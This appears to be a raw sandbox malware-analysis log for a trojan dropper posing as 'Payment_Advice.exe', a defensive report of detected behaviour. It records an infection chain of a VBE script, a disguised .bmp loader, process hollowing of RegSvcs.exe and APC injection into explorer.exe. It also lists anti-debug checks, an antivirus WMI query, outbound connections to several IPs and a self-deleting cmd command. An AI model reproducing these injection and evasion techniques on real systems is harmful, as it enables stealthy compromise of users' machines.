Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E29A0 mov eax, dword ptr fs:[00000030h]	14_2_016E29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01766870 mov eax, dword ptr fs:[00000030h]	14_2_01766870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01766870 mov eax, dword ptr fs:[00000030h]	14_2_01766870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0175E872 mov eax, dword ptr fs:[00000030h]	14_2_0175E872
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0175E872 mov eax, dword ptr fs:[00000030h]	14_2_0175E872
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01700854 mov eax, dword ptr fs:[00000030h]	14_2_01700854
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E2840 mov ecx, dword ptr fs:[00000030h]	14_2_016E2840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D4859 mov eax, dword ptr fs:[00000030h]	14_2_016D4859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D4859 mov eax, dword ptr fs:[00000030h]	14_2_016D4859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170A830 mov eax, dword ptr fs:[00000030h]	14_2_0170A830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0177483A mov eax, dword ptr fs:[00000030h]	14_2_0177483A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0177483A mov eax, dword ptr fs:[00000030h]	14_2_0177483A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016F2835 mov eax, dword ptr fs:[00000030h]	14_2_016F2835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016F2835 mov eax, dword ptr fs:[00000030h]	14_2_016F2835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016F2835 mov eax, dword ptr fs:[00000030h]	14_2_016F2835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016F2835 mov ecx, dword ptr fs:[00000030h]	14_2_016F2835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016F2835 mov eax, dword ptr fs:[00000030h]	14_2_016F2835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016F2835 mov eax, dword ptr fs:[00000030h]	14_2_016F2835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0175C810 mov eax, dword ptr fs:[00000030h]	14_2_0175C810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170C8F9 mov eax, dword ptr fs:[00000030h]	14_2_0170C8F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170C8F9 mov eax, dword ptr fs:[00000030h]	14_2_0170C8F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0179A8E4 mov eax, dword ptr fs:[00000030h]	14_2_0179A8E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016FE8C0 mov eax, dword ptr fs:[00000030h]	14_2_016FE8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017A08C0 mov eax, dword ptr fs:[00000030h]	14_2_017A08C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0175C89D mov eax, dword ptr fs:[00000030h]	14_2_0175C89D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D0887 mov eax, dword ptr fs:[00000030h]	14_2_016D0887
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016CCB7E mov eax, dword ptr fs:[00000030h]	14_2_016CCB7E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0177EB50 mov eax, dword ptr fs:[00000030h]	14_2_0177EB50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017A2B57 mov eax, dword ptr fs:[00000030h]	14_2_017A2B57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017A2B57 mov eax, dword ptr fs:[00000030h]	14_2_017A2B57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017A2B57 mov eax, dword ptr fs:[00000030h]	14_2_017A2B57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017A2B57 mov eax, dword ptr fs:[00000030h]	14_2_017A2B57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01784B4B mov eax, dword ptr fs:[00000030h]	14_2_01784B4B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01784B4B mov eax, dword ptr fs:[00000030h]	14_2_01784B4B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01778B42 mov eax, dword ptr fs:[00000030h]	14_2_01778B42
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01766B40 mov eax, dword ptr fs:[00000030h]	14_2_01766B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01766B40 mov eax, dword ptr fs:[00000030h]	14_2_01766B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0179AB40 mov eax, dword ptr fs:[00000030h]	14_2_0179AB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016C8B50 mov eax, dword ptr fs:[00000030h]	14_2_016C8B50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016FEB20 mov eax, dword ptr fs:[00000030h]	14_2_016FEB20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016FEB20 mov eax, dword ptr fs:[00000030h]	14_2_016FEB20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01798B28 mov eax, dword ptr fs:[00000030h]	14_2_01798B28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01798B28 mov eax, dword ptr fs:[00000030h]	14_2_01798B28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0174EB1D mov eax, dword ptr fs:[00000030h]	14_2_0174EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0174EB1D mov eax, dword ptr fs:[00000030h]	14_2_0174EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0174EB1D mov eax, dword ptr fs:[00000030h]	14_2_0174EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0174EB1D mov eax, dword ptr fs:[00000030h]	14_2_0174EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0174EB1D mov eax, dword ptr fs:[00000030h]	14_2_0174EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0174EB1D mov eax, dword ptr fs:[00000030h]	14_2_0174EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0174EB1D mov eax, dword ptr fs:[00000030h]	14_2_0174EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0174EB1D mov eax, dword ptr fs:[00000030h]	14_2_0174EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0174EB1D mov eax, dword ptr fs:[00000030h]	14_2_0174EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017A4B00 mov eax, dword ptr fs:[00000030h]	14_2_017A4B00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0175CBF0 mov eax, dword ptr fs:[00000030h]	14_2_0175CBF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016FEBFC mov eax, dword ptr fs:[00000030h]	14_2_016FEBFC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D8BF0 mov eax, dword ptr fs:[00000030h]	14_2_016D8BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D8BF0 mov eax, dword ptr fs:[00000030h]	14_2_016D8BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D8BF0 mov eax, dword ptr fs:[00000030h]	14_2_016D8BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D0BCD mov eax, dword ptr fs:[00000030h]	14_2_016D0BCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D0BCD mov eax, dword ptr fs:[00000030h]	14_2_016D0BCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D0BCD mov eax, dword ptr fs:[00000030h]	14_2_016D0BCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016F0BCB mov eax, dword ptr fs:[00000030h]	14_2_016F0BCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016F0BCB mov eax, dword ptr fs:[00000030h]	14_2_016F0BCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016F0BCB mov eax, dword ptr fs:[00000030h]	14_2_016F0BCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0177EBD0 mov eax, dword ptr fs:[00000030h]	14_2_0177EBD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01784BB0 mov eax, dword ptr fs:[00000030h]	14_2_01784BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01784BB0 mov eax, dword ptr fs:[00000030h]	14_2_01784BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E0BBE mov eax, dword ptr fs:[00000030h]	14_2_016E0BBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E0BBE mov eax, dword ptr fs:[00000030h]	14_2_016E0BBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0174CA72 mov eax, dword ptr fs:[00000030h]	14_2_0174CA72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0174CA72 mov eax, dword ptr fs:[00000030h]	14_2_0174CA72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0177EA60 mov eax, dword ptr fs:[00000030h]	14_2_0177EA60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170CA6F mov eax, dword ptr fs:[00000030h]	14_2_0170CA6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170CA6F mov eax, dword ptr fs:[00000030h]	14_2_0170CA6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170CA6F mov eax, dword ptr fs:[00000030h]	14_2_0170CA6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E0A5B mov eax, dword ptr fs:[00000030h]	14_2_016E0A5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E0A5B mov eax, dword ptr fs:[00000030h]	14_2_016E0A5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D6A50 mov eax, dword ptr fs:[00000030h]	14_2_016D6A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D6A50 mov eax, dword ptr fs:[00000030h]	14_2_016D6A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D6A50 mov eax, dword ptr fs:[00000030h]	14_2_016D6A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D6A50 mov eax, dword ptr fs:[00000030h]	14_2_016D6A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D6A50 mov eax, dword ptr fs:[00000030h]	14_2_016D6A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D6A50 mov eax, dword ptr fs:[00000030h]	14_2_016D6A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D6A50 mov eax, dword ptr fs:[00000030h]	14_2_016D6A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016FEA2E mov eax, dword ptr fs:[00000030h]	14_2_016FEA2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170CA38 mov eax, dword ptr fs:[00000030h]	14_2_0170CA38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170CA24 mov eax, dword ptr fs:[00000030h]	14_2_0170CA24
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016F4A35 mov eax, dword ptr fs:[00000030h]	14_2_016F4A35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016F4A35 mov eax, dword ptr fs:[00000030h]	14_2_016F4A35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0175CA11 mov eax, dword ptr fs:[00000030h]	14_2_0175CA11
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170AAEE mov eax, dword ptr fs:[00000030h]	14_2_0170AAEE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170AAEE mov eax, dword ptr fs:[00000030h]	14_2_0170AAEE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01704AD0 mov eax, dword ptr fs:[00000030h]	14_2_01704AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01704AD0 mov eax, dword ptr fs:[00000030h]	14_2_01704AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D0AD0 mov eax, dword ptr fs:[00000030h]	14_2_016D0AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01726ACC mov eax, dword ptr fs:[00000030h]	14_2_01726ACC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01726ACC mov eax, dword ptr fs:[00000030h]	14_2_01726ACC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01726ACC mov eax, dword ptr fs:[00000030h]	14_2_01726ACC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D8AA0 mov eax, dword ptr fs:[00000030h]	14_2_016D8AA0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\Payment_Advice.exe

Code function: 0_2_0051F838 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0051F838

Source: C:\Users\user\Desktop\Payment_Advice.exe

Code function: 0_2_0052C030 GetProcessHeap,

0_2_0052C030

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 14_2_00409AA0 rdtsc

14_2_00409AA0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 14_2_0040ACE0 LdrLoadDll,

14_2_0040ACE0

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp

Code function: 6_2_001EF3FF BlockInput,

6_2_001EF3FF

Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_0051F838 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0051F838
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_0051F9D5 SetUnhandledExceptionFilter,	0_2_0051F9D5
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_0051FBCA SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0051FBCA
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_00528EBD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00528EBD
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001A29B2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_001A29B2
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_00190BCF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00190BCF
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_00190D65 SetUnhandledExceptionFilter,	6_2_00190D65
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_00190FB1 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00190FB1
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A56EC0 SetUnhandledExceptionFilter,	16_2_00A56EC0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A56B40 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00A56B40

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 77.222.40.147 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 66.96.160.140 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 170.33.13.246 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 142.234.186.98 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 103.224.182.242 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 91.195.240.19 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 62.72.50.244 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 75.2.115.196 80	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: unknown target: C:\Windows\SysWOW64\cmd.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: unknown target: C:\Windows\SysWOW64\cmd.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp

Code function: 6_3_010DD91A CreateProcessW,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,Wow64GetThreadContext,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,

6_3_010DD91A

Sample uses process hollowing technique

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Section unmapped: C:\Windows\SysWOW64\cmd.exe base address: A40000

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 401000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: EA8008	Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread register set: target process: 4084			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Thread register set: target process: 4084			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp

Code function: 6_2_001DBB02 SendInput,keybd_event,

6_2_001DBB02

Source: C:\Users\user\Desktop\Payment_Advice.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\pis-e.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ewdbwwfpdh.bmp fjrpidauk.jpg	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp ewdbwwfpdh.bmp fjrpidauk.jpg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior

Source: Payment_Advice.exe, 00000000.00000003.1414188164.000000000829D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: $colitems = $owmi.execquery("select * from antivirusproduct")	memstr_4ab2483e-7
Source: Payment_Advice.exe, 00000000.00000003.1414188164.000000000829D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: for $objantivirusproduct in $colitems	memstr_6d86952f-1
Source: Payment_Advice.exe, 00000000.00000003.1417523916.0000000005A54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ( wj(,wj	memstr_654d7a77-b
Source: Payment_Advice.exe, 00000000.00000003.1417523916.0000000005A54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ,dwj,pwj	memstr_f2861b95-8
Source: Payment_Advice.exe, 00000000.00000003.1417523916.0000000005A54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0hwj0twj	memstr_ab9741cf-3
Source: Payment_Advice.exe, 00000000.00000003.1417523916.0000000005A54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|8xjarbgcazh-chscsdadeelenesfifrhehuisitjakonlnoplptro	memstr_6224e127-8
Source: Payment_Advice.exe, 00000000.00000002.1550342568.000000000385F000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: occw7	memstr_dfc61d34-2
Source: Payment_Advice.exe, 00000000.00000002.1550342568.000000000385F000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: occw7	memstr_56b0340c-3
Source: Payment_Advice.exe, 00000000.00000002.1550342568.000000000385F000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: cwdfqw	memstr_8849873b-1
Source: Payment_Advice.exe, 00000000.00000002.1550342568.000000000385F000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: [qw8-	memstr_bf5ca5d6-5
Source: Payment_Advice.exe, 00000000.00000002.1550342568.000000000385F000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: dl*t-l1	memstr_b9a9111f-9
Source: Payment_Advice.exe, 00000000.00000002.1550342568.000000000385F000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: tem32\kernelbase.dll	memstr_34fcb3b0-4
Source: Payment_Advice.exe, 00000000.00000002.1550342568.000000000385F000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: pi-ms-win-core-processthreads-l1-1-0;	memstr_d89e381c-0
Source: Payment_Advice.exe, 00000000.00000002.1550342568.000000000385F000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ws\sys	memstr_e6280df9-b
Source: Payment_Advice.exe, 00000000.00000002.1550342568.000000000385F000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ~cw`qz	memstr_4e587337-0
Source: Payment_Advice.exe, 00000000.00000002.1550342568.000000000385F000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: c:\wd	memstr_9c0ea93f-2
Source: Payment_Advice.exe, 00000000.00000002.1550342568.000000000385F000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: c:\windows\s5	memstr_7c7e58c5-4
Source: Payment_Advice.exe, 00000000.00000002.1550342568.000000000385F000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ft`qz	memstr_da687978-9
Source: Payment_Advice.exe, 00000000.00000002.1550342568.000000000385F000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: wow64	memstr_ecef54f0-e
Source: Payment_Advice.exe, 00000000.00000002.1550342568.000000000385F000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: l;cw4fqw	memstr_62a09b38-1
Source: Payment_Advice.exe, 00000000.00000002.1550342568.000000000385F000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: occw2	memstr_18ee81e9-0
Source: Payment_Advice.exe, 00000000.00000002.1550342568.000000000385F000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: occw2 @	memstr_8e0e87fa-2
Source: Payment_Advice.exe, 00000000.00000002.1550342568.000000000385F000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: d{gw@	memstr_a40928b5-f
Source: Payment_Advice.exe, 00000000.00000002.1550342568.000000000385F000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: dd{gw@	memstr_7d29cfd2-6
Source: Payment_Advice.exe, 00000000.00000002.1550342568.000000000385F000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: dw4`3x	memstr_a434f640-5
Source: Payment_Advice.exe, 00000000.00000002.1550342568.000000000385F000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ebw`3x	memstr_8a563fd0-1
